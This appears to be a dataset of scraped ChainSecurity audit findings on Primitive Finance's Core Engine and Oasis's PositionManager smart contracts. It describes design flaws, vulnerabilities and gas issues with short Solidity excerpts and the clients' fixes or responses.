balanceRisky() and balanceStable() which return the balance of the engine for the respective token. These two functions implement the same functionality and have the same logic, therefore can be merged into a single function that takes the token address (for stable or risky) as an input parameter. Acknowledged The client prefers two separate functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "5.2 Event Optimization", "body": " The swap() function emits two events: UpdatedTimestamp() and Swap() which can be integrated into one event to reduce the gas consumption. Acknowledged This behavior is desired by Primitive. Primitive Finance - Core Engine - 9 SecurityDesignCorrectnessCriticalHighMediumLowAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedAcknowledgedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f5.3 Sanity Checks When depositing, withdrawing, allocating, and swapping (VERSION4) the receiving account can be chosen. No basic sanity check if it is accidentally address zero is performed. Additionally, the strike price could be validated if it is not zero in create. Code partially corrected A sanity check for the strike price in create is implemented but no checks for address zero are added. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "5.4 Unused Function getRiskyGivenStable", "body": " The function getRiskyGivenStable is declared internal but not used in the code. Acknowledged Primitive Finance acknowledged the issue but communicated that the function is kept as it is for now. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "5.5 Unused Storage Fields", "body": " The PrimitiveEngine contract is deployed by the PrimitiveFactory contract. The engine stores the factory address as state variable address public immutable override factory; and an owner but these variables are not used. Acknowledged Primtive acknowledged the behavior and informed us that this is intended. Primitive Finance - Core Engine - 10 DesignLowVersion1CodePartiallyCorrectedDesignLowVersion1AcknowledgedDesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 7 7 9 -Severity Findings -Severity Findings Low Decimal Token Issues Anyone Can Call the Repay Function After Pool's Maturity Borrower Locks Liquidity in the Pool Disable Unnecessary Functionalities After Expiry Flawed Fee and Premium Structure No Slippage Protection Violation of Maximum Ratio of Float Liquidity -Severity Findings Token Decimal Validation Explicitly Handling Positive Invariant Restriction Incorrect Tracking of Cumulative Values for Pool Reserves Liquidity Providers Get Rewards Without Supplying Float Liquidity Possible Overflows Possible to Frontrun on Claim Request Redundant and Improper Revert Condition -Severity Findings Inconsistency of Input Parameters Unused Error Definition Redundant Storage Read Code Duplication Duplicated Calculation of Invariant Implementation of getStableGivenRisky Function Possible Gas Optimization in the Deposit Function Return Value in safeTransfer MANTISSA_INT Constant ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.1 Low Decimal Token Issues", "body": " Primitive Finance - Core Engine - 11 CriticalHighCodeCorrectedSpeci\ufb01cationChangedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedMediumCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedDesignHighVersion3CodeCorrected \fThe lower the decimals of a token are and the higher the value, the more severe rounding issues will become. Simultaneously, the liquidity position accounting with 18 decimals will cause issues. Examples issues are: Burning one unit of a low decimal but high value token (in create) might be a huge loss for the user. There is a dependency between the delta when creating a pool and the decimals of a token. delta cannot be chosen freely because of this dependency (1e18 - delta) - 1e(18-decimals) needs to be bigger than 1, else the create will revert. This basically eliminates the support of zero decimal tokens (as the only viable option is delta = 0). Low decimals limit the range of delta and the step accuracy with which the risky token amount is calculated. E.g. the maximum value of delta can be 9e17 (should be 1e18) for 1 decimals, 99e16 for 2 decimals and so on. The step size should be accordingly high to increase the resulting delRisky one unit. With decreasing decimals this calculation will lose precision if the token decimals are not dividable by the fraction delLiquidity / PRECISION with modulo zero. delRisky = (delRisky * delLiquidity) / PRECISION; // liquidity has 1e18 precision, delRisky has native precision delStable = (delStable * delLiquidity) / PRECISION; The function getAmounts has a similar problem and will losing precision. This can be exploited in allocate to receive more liquidity tokens than the user would be entitled to as the rounding in allocate is in the user's favor. Code corrected The issues above have been tackled by only accepting token decimals between six and 18. Six was chosen to support famous stable coins and did not lead to issues in tests. However, tests and fuzzing does not cover all possible states and due to the complex math, there might be a state that still results in issues regarding to the decimals. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.2 Anyone Can Call the Repay Function After", "body": " Pool's Maturity After the pool's maturity has passed, i.e., the pool has expired, anyone can call the function repay() for any borrower and receive their premiums in case the borrower's possition yields profit. The first three lines of the function repay() allow any msg.sender to receive the premiums for any borrower: Since the borrower is incentivized to call the function repay() only when there is profit, the function allows any attacker to collect the unclaimed profit of any borrower after the pool's maturity. Furthermore, if the legitimate borrwers calls the function repay() at the maturity of the pool, the attacker has still a possibility to frontrun the legitimate transaction. Specification changed This version of the code introduces a grace period, around 24h, to permit only borrowers calling the function repay() after pool's maturity. In case a borrower does not call the function during this period, anyone can call the function repay() and exit the borrowers' positions, therefore releasing the locked liquidity. Specification changed The respective code has been removed according to the new specifications of . Primitive Finance - Core Engine - 12 DesignHighVersion1Speci\ufb01cationChangedVersion2Version3Version3 \f6.3 Borrower Locks Liquidity in the Pool the function borrow() with a given delLiquidity call Calling reserve.borrowFloat() which decreases the amount of available float in the pool and increases the debt of the pool reserve accordingly. This way, the borrower locks delLiquidity from the available float in the pool reserve. Below is the borrowFloat function. triggers the function borrowFloat(Data storage reserve, uint256 delLiquidity) internal { reserve.float -= delLiquidity.toUint128(); reserve.debt += delLiquidity.toUint128(); } A liquidity provider that has supplied its liquidity as float needs to first call the function claim() which converts the float into liquidity before removing the liquidity from the pool. However, the only way for all liquidity providers to claim all their float liquidities is if all borrowers call the function repay() which triggers a call to reserve.repayFloat(): function repayFloat(Data storage reserve, uint256 delLiquidity) internal { reserve.float += delLiquidity.toUint128(); reserve.debt -= delLiquidity.toUint128(); } But, if the price of the risky token is below the strike price, the borrower has no incentive to call the function repay(), therefore potentially keeping locked the float liquidity. Moreover, the function repay() does not impose any time restriction to borrowers when they can exercise their option, i.e., the borrower can potentially call the repay() function at an arbitrary time after the maturity. This puts pressure on the liquidity providers to call it themselves which is possible because in the current version of the PrimitiveEngine contract, anyone can call the function repay() after the maturity of the pool. If liquidity provider have the burden to call the functions, they also bear the costs. Specification changed This version of the code introduces a grace period, around 24h, to permit only borrowers calling the function repay() after pool's maturity. In case a borrower does not call the function during this period, anyone can call the function repay() and exit the borrowers' positions, therefore releasing the locked liquidity. Still, the additional costs need to be payed by the caller / LP if they call it to relase their funds. Specification changed The respective code has been removed according to the new specifications of . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.4 Disable Unnecessary Functionalities After", "body": " Expiry In the current version of the PrimitiveEngine contract all functions, except function swap(), can be called after the pool has expired. For example, a liquidity provider could close the opened positions of borrowers, claim its share of the float liquidity, and then call function borrow() for the remaining amount of float. Primitive Finance - Core Engine - 13 DesignHighVersion1Speci\ufb01cationChangedVersion2Version3Version3DesignHighVersion1CodeCorrected \fCode corrected The updated version of the contract has new checks if the pool is still valid in the respective functions. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.5 Flawed Fee and Premium Structure", "body": " When swapping, a fee is charged and borrows pay a premium on their position. Both amounts end up in the pool without separate accounting. This has various implication. All arising from the fact that the underlying calculation are based on the pool's reserve, which includes the fees and premiums. All operations that pay out a proportion of the reserve amounts - also pay out parts of the fees and premiums. Hence, each time remove, repay, swap or borrow is called, fees and premiums are payed out. Regardless of the callee is entitled to receive these fees. The most severe issue is the swap function. Swapping on the pool's reserve, which includes the collected fees, will nullify all previous fees and prevent fee accumulation. Hence, liquidity providers will not earn fees collected during the lifetime of the pool, but only the fee from the last swap. Other examples for issues are shared (even with non-eligible users) premiums and fees, participating on fees and premiums repeatedly. E.g. a liquidity provider that does not take the risk of lending their token gets a share of the premium. A borrower gets part of the premium and fees of others. All this can be leveraged through repeating the operation. Specification changed This version of the code introduces a novel fee structure. Specification changed The respective code has been updated according to the new specifications of fees only during swaps. which assume ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.6 No Slippage Protection", "body": " All transactions have a lag between the time they are sent and the time they are executed as they remain in the mem pool for some time prior to being executed. Between sending and execution, other transaction might change the contract's state. This is critical for all transaction where the user receives or all action function in the Engine contract except for supply and claim do has to pay funds. In not offer any protection against slippage. In VERSION4 this affects allocate, remove, and swap. Without checking if the transaction is still executed under the desired conditions, the user may suffer losses. This issue can be maliciously exploited by front running certain transactions. However, as the system is designed to interact with smart contracts, the slippage protection could be implemented on their side. Code corrected The user is now able to define the delta in and delta out when swapping. Hence, the user either gets the defined values or the swap will revert due to a violation of the invariant check. The check verifies that the invariant can only increase. Primitive Finance - Core Engine - 14 DesignHighVersion1Speci\ufb01cationChangedVersion2Version3Version3DesignHighVersion1CodeCorrectedVersion1 \f6.7 Violation of Maximum Ratio of Float Liquidity The amount of liquidity supplied as float should be less than a threshold value, hard coded to 80% in the current version of the contract. This restriction is enforced in the function addFloat() as follows: function addFloat(Data storage reserve, uint256 delLiquidity) internal { reserve.float += delLiquidity.toUint128(); if ((reserve.float * 1000) / reserve.liquidity > 800) revert LiquidityError(); } This restriction is enforced only when a liquidity provider supplies its liquidity as float, but it does not hold always as any liquidity provider can freely remove available liquidity from the pool. For example, if the float the function remove() to remove the 20% of the remaining liquidity, thus putting the pool reserve in a state with 100% of its liquidity as float. liquidity provider could call (i.e., 80%), one its maximum liquidity is at level function remove( Data storage reserve, uint256 delRisky, uint256 delStable, uint256 delLiquidity, uint32 blockTimestamp ) internal { reserve.reserveRisky -= delRisky.toUint128(); reserve.reserveStable -= delStable.toUint128(); reserve.liquidity -= delLiquidity.toUint128(); update(reserve, blockTimestamp); } Code corrected The Reserve library now defines a function checkUtilization() which checks if the invariant holds whenever float is added, float is payed, or the liquidity is removed. : Specification changed The respective code has been removed according to the new specifications of . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.8 Token Decimal Validation", "body": " The engine contract supports tokens with different decimals. However, tokens with very few decimals and more than 18 decimals cause severe issues but are allowed to be deployed by the factory. Code corrected The factory now validates decimals for both tokens before deploying an engine. Tokens with 6 to 18 decimals are supported. Primitive Finance - Core Engine - 15 SecurityHighVersion1Speci\ufb01cationChangedVersion2Version3Version3DesignMediumVersion3CodeCorrected \f6.9 Explicitly Handling Positive Invariant Restriction The current implementation checks that the invariant grows assuming it is negative and, when updated by a swap, grows closer to zero: if (invariant > nextInvariant && nextInvariant.sub(in variant) >= Units.MANTISSA_INT). A zero invariant implies a balanced pool at the time of the swap. Typically, the invariant should not become positive but could happen in specific scenarios such as high trading frequency and high fee accumulation. If this is the case, besides major other problems, the pool cannot recover as the invariant needs to decrease back to zero to be in balance again. This is because of the check, that the invariant is only allowed to grow after a trade. However, in case of a positive invariant, it should not become more positive. : Code changed The updated version of the code checks explicitly if the invariant is positive and prevents the invariant to grow in the wrong direction. : Specification and code changed The issue theoretically exists in version 3. However, according to Primitive Finance, a positive invariant is not an undisired state any more and a swap should not lead to a decreasing invariant - even if it is positive. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.10 Incorrect Tracking of Cumulative Values for", "body": " Pool Reserves Primitive Finance pointed out this issues while the audit was ongoing. They are aware that calling the function update() after the pool reserve values are updated, results in incorrect cumulative values. Code corrected The function update() is called before the new amounts have been applied to the pool reserves. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.11 Liquidity Providers Get Rewards Without", "body": " Supplying Float Liquidity In order for users to borrow liquidity from the pools, liquidity providers should allocate liquidity to a pool and then supply it as float which can be borrowed. Users pay a premium when borrowing liquidity and the float liquidity of the pool reserve is deducted. After the borrowers pay their debt, the liquidity providers should claim at first their share of liquidity as float, and then remove it from the reserve. Since the liquidity providers do not get tokens for their supplied liquidity, the premiums paid by borrowers go to the pool reserve. This way, all liquidity provider get tokens out according to their share of liquidity and independently if they have supplied float liquidity to the pool. Hence, a liquidity provider that supplies Primitive Finance - Core Engine - 16 DesignMediumVersion1Speci\ufb01cationChangedVersion2Version3DesignMediumVersion1CodeCorrectedDesignMediumVersion1Speci\ufb01cationChanged \ffloat liquidity and is more exposed (cannot remove liquidity unless borrowers repay it, or the maturity has passed) do not get any additional reward. Specification and code changed Version 2 introduces a novel fee structure that collects fees when borrow() function is called and distributes the collected fees to liquidity providers that have supplied float. In case of a positive invariant, swap fees are also distributed to float providers. Specification changed The respective code has been removed according to the new specifications of . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.12 Possible Overflows", "body": " Primitive Finance pointed out these issues while the audit was ongoing. They are aware that the following expressions could overflow: res.cumulativeRisky += res.reserveRisky * deltaTime; uint256 reserveRisky = (res.reserveRisky * 1e18) / res.liquidity; Code corrected The overflow is avoided by casting the variables to uint256 as follows: res.cumulativeRisky += uint256(res.reserveRisky) * deltaTime; delRisky = (delLiquidity * reserve.reserveRisky) / reserve.liquidity;, where delLiquidity is of type uint256. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.13 Possible to Frontrun on Claim Request", "body": " In some situations, e.g., the price of the underlying token changes significantly, one (or more) liquidity providers might want to exit their positions and call function claim() to remove their liquidity from float. However, an attacker might frontrun this transaction and call function borrow() and prevent the liquidity provider from exiting their position. Specification changed The respective code has been removed according to the new specifications of . ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.14 Redundant and Improper Revert Condition", "body": " The two functions balanceRisky() and balanceStable() verify if the call returns the balance correctly by checking: if(!success && data.length < 32) and revert if the condition is true. This makes sense if success is false or the call did not return a value (data.length < 32). With using && instead of or the condition would not revert for the combination of success = false and data.length > 32 (which is possible). As the function needs the balance to work properly, we do not see a case where this should not revert if data.length < 32. The data.length check is also Primitive Finance - Core Engine - 17 Version2Version3Version3SecurityMediumVersion1CodeCorrectedDesignMediumVersion1Speci\ufb01cationChangedVersion3Version3DesignMediumVersion1CodeCorrected \fredundant because it is also performed in abi.decode(data, (uint256)). Additionally, it might make sense to reevaluate if the less than condition makes sense or an equal condition would be more suitable. Code corrected The client has updated the check as follows: if (!success || data.length < 32). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.15 Inconsistency of Input Parameters", "body": " The engine contract is not consistent on the number of decimals an input value should have when called externally. More precisely, the function create() expects the strike price to have 18 decimals, independently from the decimals of the stable token. However, the function swap() expect the deltaIn to have the same decimals as the token being swapped in. A similar format is expected by functions deposit() and withdraw(). Code corrected The function create() expects the strike price to have the same number of decimals as the stable token. Also, the specification has been updated accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.16 Unused Error Definition", "body": " The error ZeroLiquidityError is defined in IPrimitiveEngineErrors but not used. Code corrected The ZeroLiquidityError error is now used in remove and allocate. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.17 Redundant Storage Read", "body": " Reading from state storage consumes more gas than reading from memory. The compiler often handles redundant storage reads. To avoid paying multiple times for storage reads, storage variables can be buffered in memory if used more than once. This is tha case for precisionStable and precisionRisky in create and swap as they are accessed more than once from storage. Specification changed The decimal accounting was changed in . This issue does not exist anymore. Primitive Finance - Core Engine - 18 DesignLowVersion3CodeCorrectedDesignLowVersion3CodeCorrectedDesignLowVersion2Speci\ufb01cationChangedVersion3 \f6.18 Code Duplication The following functions share the same code which could be reused: In borrow, repay, remove and allocate: delRisky = (delLiquidity * reserve.reserveRisky) / reserve.liquidity; // amount of risky from removing delStable = (delLiquidity * reserve.reserveStable) / reserve.liquidity; // amount of stable from removing Code corrected The duplicated statements are moved into a function getAmounts() in the Reserve library. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.19 Duplicated Calculation of Invariant", "body": " The function swap() after updating the timestamp of the pool, calculates the invariant for the new time until expiry (tau): int128 invariant = invariantOf(details.poolId);. Afterwards, calls either depending on getStableGivenRisky() getRiskyGivenStable(). call function invariantOf(), which recalculates the invariant for the same pool and the same timestamp. Although recalculating the invariant is reasonable for external calls, it increases the gas consumption for calls from the swap function. value of riskyForStable parameter, functions function these Both the the or Code corrected The updated function swap() calls the getRiskyGivenStable() and getStableGivenRisky() functions from the ReplicationMath library which take the invariant as an argument and do not recalculate it. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.20 Implementation of getStableGivenRisky", "body": " Function The function specification for calculating the stablePerLiquidity do not include the value of the last invariant. However, the function implementation adds the last invariant in the computed stables, therefore resulting in this formula: stablePerLiquidity = K*CDF(CDF^-1(1 - riskyPerLiquidity) - sigma*sqrt(tau)) + invariantLastX64. Code corrected The code comment has been updated correctly. Primitive Finance - Core Engine - 19 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f6.21 Possible Gas Optimization in the Deposit Function The function deposit() in the engine contract allows users to deposit a single token to their margin account, therefore the function calls the balanceof() function only for the token with a positive delta. However, after the callback function for the transfer executes, the function checks the balance of both tokens (performs two balanceOf() calls). The function can optimize the gas consumption again by calling the balanceOf() only for the token added. Code corrected The updated version of the function deposit() now checks if the delta value is greater than 0 before reading the balance (before and after the transfer) for the stable and the risky tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.22 Return Value in safeTransfer", "body": " The function safeTransfer() in the library Transfers checks if an ERC20 token transfer completed successfully, otherwise the function reverts. Currently, the function returns a boolean value but it is never checked in the caller functions. Code corrected The return value in safeTransfer() has been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "6.23 MANTISSA_INT Constant", "body": " MANTISSA_INT is a constant defined in units library and its value in 64x64 format corresponds to 10x the value of the constant variable Mantissa in units library. Code corrected The unused MANTISSA_INT has been removed. Primitive Finance - Core Engine - 20 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "7.1 Engine Shall Not Have Privileges in Other", "body": " Smart Contracts With the current setup, for security reasons, the engine contract must not have privileges in any other smart contracts. The main reason is that the engine contract supports several callbacks which potentially could have the same function signature as a sensitive function in the contract being called. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "7.2 Limited Supported Token Pairs", "body": " PrimitiveFactory contract deploys a unique PrimitiveEngine contract for a pair of ERC20 tokens. The function deploy() takes as arguments the addresses of the two ERC20 tokens and assumes that they are implemented correctly and behave as expected. The function deploy checks only if the provided addresses of the risky token and the stable one are not the same and that they are different from address(0). Technically, it is possible to deploy a PrimitiveEngine with any arbitrary pair of tokens, such as: compromised/malicious tokens, two risky tokens, two stable tokens, or with switched addresses for the risky and stable tokens. Therefore, the filtering of the bad or malicious engines and their respective pools should happen on the application level (outside the audited smart contracts) in order to protect users from interacting with incorrect engines. We explicitly mention that the contract ONLY works with standard ERC20 tokens that do not have any unusual behavior like inflation, deflation, locking, fees, two addresses etc. Users needs to carefully evaluate if the pool's token fulfill the requirements! A check in the factory before deploying the engine might at least prevent accidentally adding a token with unsupported decimals. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "7.3 More Testing for CDF", "body": " The correctness of the cumulative normal distribution function and its inverse function are important for the whole protocol. The functions getCDF() and getInverseCDF() ensure that the pool maintains the correct values of stable and risky tokens at any time. Both functions compute approximate values and the current testing shows that the error falls below a chosen threshold. However, the code calls these (refer functions to getRiskyGivenStable() and getStableGivenRisky() is highly recommended to expand the testing for checking how the combine error changes when the functions are called as in the above example. getCDF(getInverseCDF(x) volatility) functions), therefore pattern the + in it Primitive Finance - Core Engine - 21 NoteVersion1NoteVersion1NoteVersion1 \f7.4 Oracle Usage In case any project uses the current marginal prices as oracles, the oracle price would be an easy target to price manipulation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "7.5 Stuck Funds", "body": " When the PrimitiveEngine contract calls callbacks from other contracts to make a token transfer, the engine only checks that its token balance increased by a value equal or greater than an expected amount. Afterwards, the engine updates the reserve balances with the expected amount. However, if the external contract transfers more token than expected, the difference (tokens transferred - expected tokens) are locked in the engine contract and neither pools, nor liquidity providers can access them. Below is a code example from the function create(): if (balanceRisky() < delRisky + balRisky) revert RiskyBalanceError(delRisky + balRisky, balanceRisky()); if (balanceStable() < delStable + balStable) revert StableBalanceError(delStable + balStable, balanceStable()); Funds can also be locked during liquidity allocation if either delRisky or delStable does not match the delLiquidity that the user intents to allocate. The function allocate() computes the respective delta liquidities for both tokens (risky and stable) and rewards the smallest delta liquidity to the user. The code is shown below: uint256 liquidity0 = (delRisky * reserve.liquidity) / uint256(reserve.reserveRisky); uint256 liquidity1 = (delStable * reserve.liquidity) / uint256(reserve.reserveStable); delLiquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; ... liquidity[recipient][poolId] += delLiquidity; // increase position liquidity The same is true for all other funds that are accidentally send to the contract or intentionally forced into the contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "7.6 Timestamp Conversion Limit", "body": " The _blockTimestamp function converts the block.timestamp from a uint256 to a uint32. Hence, limiting the maximum value for the timestamp to Sunday, February 7, 2106. This is in 84 years. The contract will have issues in case it is used this long at that point in time. Primitive Finance - Core Engine - 22 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/primitive-finance-core-engine-smart-contracts/"}, {"title": "5.1 execute() Gas Calculation Can Underflow", "body": " In AccountImplementation, execute() subtracts 5000 from gas() using assembly subtraction. If gas() is less than 5000, this will underflow and wrap around to a very high value. The solidity overflow checks are disabled when using assembly, so this will not revert. Risk accepted Oasis accepts the risk of this underflow occurring and states that under normal use this will not happen, as the proxy is intended for state-changing operations and hence the delegate call should never cost less than 5000 gas to execute. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "5.2 Inefficient Boolean Mappings", "body": " The AccountGuard has the following mappings: mapping(address => mapping(address => bool)) private allowed; mapping(address => mapping(bool => bool)) private whitelisted; Oasis - PositionManager - 10 DesignCorrectnessCriticalHighMediumRiskAcceptedLowCodePartiallyCorrectedAcknowledgedAcknowledgedCodePartiallyCorrectedAcknowledgedCodePartiallyCorrectedRiskAcceptedCodePartiallyCorrectedAcknowledgedCorrectnessMediumVersion1RiskAcceptedDesignLowVersion2CodePartiallyCorrectedAcknowledged \fMappings that contain boolean variables are inefficient in general, as the Solidity compiler masks the values when saving and loading these values from storage to prevent dirty bits from contaminating the values. For the whitelisted mapping, there is a superfluous level of indirection. The (bool => bool) mapping could be replaced by a different type, e.g. an enum or an integer, which would reduce the number of SLOADs needed to retrieve an entry. Alternatively, two separate mappings could be used for the two whitelists. Code partially corrected The type of the whitelisted mapping was changed to mapping(address => uint8). The allowed mapping was not modified. Acknowledged Note that reading and writing uint8 and bool values to and from storage results in inefficient bytecode, as the Solidity compiler masks the values to ensure no dirty bits are propagated. As there is no possibility of writing to arbitrary storage locations, these checks are superfluous. Using mappings that store the uint256 type eliminates these checks. Oasis has acknowledged this inefficiency. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "5.3 External Calls Could Be Avoided", "body": " In the EVM, external calls to other contracts cost more gas than internal calls to a contract's own functions. The AccountFactory makes external calls to AccountGuard. Both contracts are dependent on one another - they need to know each other's addresses in order to set the owners of newly created proxies. This introduces a circular dependency. As neither contract is upgradeable and neither contract allows setting a new address for the other, the increased gas cost and circular dependency could be avoided by combining both contracts' functions into a single contract. This also allows for the removal of some storage variables. Acknowledged Oasis has acknowledged the issue. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "5.4 Function Arguments Can Be In Calldata", "body": " bytes The AccountImplementation.execute() can be in calldata instead of memory in order to save gas. AccountImplementation.send() arguments memory _data in and Code partially corrected The _data argument of the send() function was changed to bytes calldata. Acknowledged For execute(), Oasis acknowledged the issue and decided not to make code changes. Oasis - PositionManager - 11 DesignLowVersion1AcknowledgedDesignLowVersion1CodePartiallyCorrectedAcknowledged \f5.5 Inefficiencies in execute() The execute() function in AccountImplementation has multiple inefficiencies: Only gas() - 5000 gas is passed to the delegate call. This may force users to attach more gas than needed to their calls. While it does guarantee that the remaining operations after the delegatecall will complete, it also makes it more likely for the delegatecall to run out of gas. It is simpler to just attach all the gas to the call and assume it returns before consuming all the gas. execute() only returns 32 bytes of return data from the delegate call. If any contract that is called returns more than 32 bytes of data, it will be lost. The return data is not directly returned in the assembly block, but by the function itself. This means that it will be copied before returning, which expands the memory and costs more gas. Instead, it could be directly returned in the assembly block using a return call. The switch condition can be changed to succeeded instead of iszero(succeeded). There is no reason to invert the condition. For an example implementation of a similar function, see the _delegate function in OpenZeppelin's Proxy contract. It allows returning more than 32 bytes of data. Note that its functionality may not be completely identical, so the code should not be directly copied. Code partially corrected The return data is now directly returned in the assembly block. Additionally, the switch condition was changed to succeeded, eliminating the extra iszero operation. The newly introduced line returndatacopy(0, 0, returndatasize()) is used to copy the revert data to memory in case of failure. It is redundant in the success case, as the delegatecall already copies the first word of returndata to memory. If the delegate call returns more than 32 bytes of data, it will expand the memory unnecessarily. Risk accepted Oasis accepts the risks regarding users being forced to attach too much gas to their calls, and only being able to return the first 32 bytes of return data. These issues may reduce the ways in which users can interact with the proxy contract. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "5.6 Various Event Issues", "body": " Some event parameters are not indexed, even though they might be useful for filtering events. AccountFactory: The AccountCreated event does not have an indexed proxy address. AccountGuard: The OwnershipTransfered event does not have an indexed newOwner address. The OwnershipTransfered event is very similarly named to the OwnershipTransferred event which it inherits from OpenZeppelin's Ownable contract. Consider renaming it so that these two events cannot be confused. Lastly, the vaultId parameter of the AccountCreated event is confusingly named, as there is no other place in the code which refers to vaults. Renaming this to a more suitable description of the parameter should be considered. Oasis - PositionManager - 12 DesignLowVersion1CodePartiallyCorrectedRiskAcceptedDesignLowVersion1CodePartiallyCorrectedAcknowledged \fCode partially corrected The indexed keyword has been added to the addresses in the mentioned events. OwnershipTransfered has been renamed to ProxyOwnershipTransfered. Acknowledged The vaultId parameter name is unchanged. The ProxyOwnershipTransfered event has a misspelling, it should be ProxyOwnershipTransferred. Oasis - PositionManager - 13 \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. 0 1 1 12 -Severity Findings -Severity Findings ImmutableProxy Is Unnecessary -Severity Findings New Owner Cannot Permit -Severity Findings AccountGuard Variable Could Be Immutable Checking Conditions in AccountImplementation Execute Does Not Forward Revert Reason Floating Compiler and Dependency Versions Function Visibility Can Save Gas Incorrect Error Messages Increment Can Be Done in Event to Save Gas Missing Sanity Checks Redundant Initializations Separate Whitelists Unnecessary Checks Unused Imports ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/oasis-position-manager/"}, {"title": "6.1 ImmutableProxy Is Unnecessary", "body": " The ImmutableProxy is designed as a small proxy contract which delegatecalls into a fixed implementation address. Except for the implementation() getter, its functionality is identical to the minimal proxy contract described in EIP1167. OpenZeppelin's Clones library, which is used to deploy clones of the ImmutableProxy contract, deploys clones by using the contract described in EIP1167 - so it simply deploys a contract which delegatecalls the target contract. All in all, this means that we have a minimal proxy, which calls the ImmutableProxy, which then calls the AccountImplementation. This double proxy setup is unnecessary and wastes gas. Instead, it would be much simpler and cheaper to directly clone the AccountImplementation and discard the ImmutableProxy contract. The minimal proxy contract is hand-written bytecode which is designed to be as cheap as possible both to deploy and execute. Oasis - PositionManager - 14 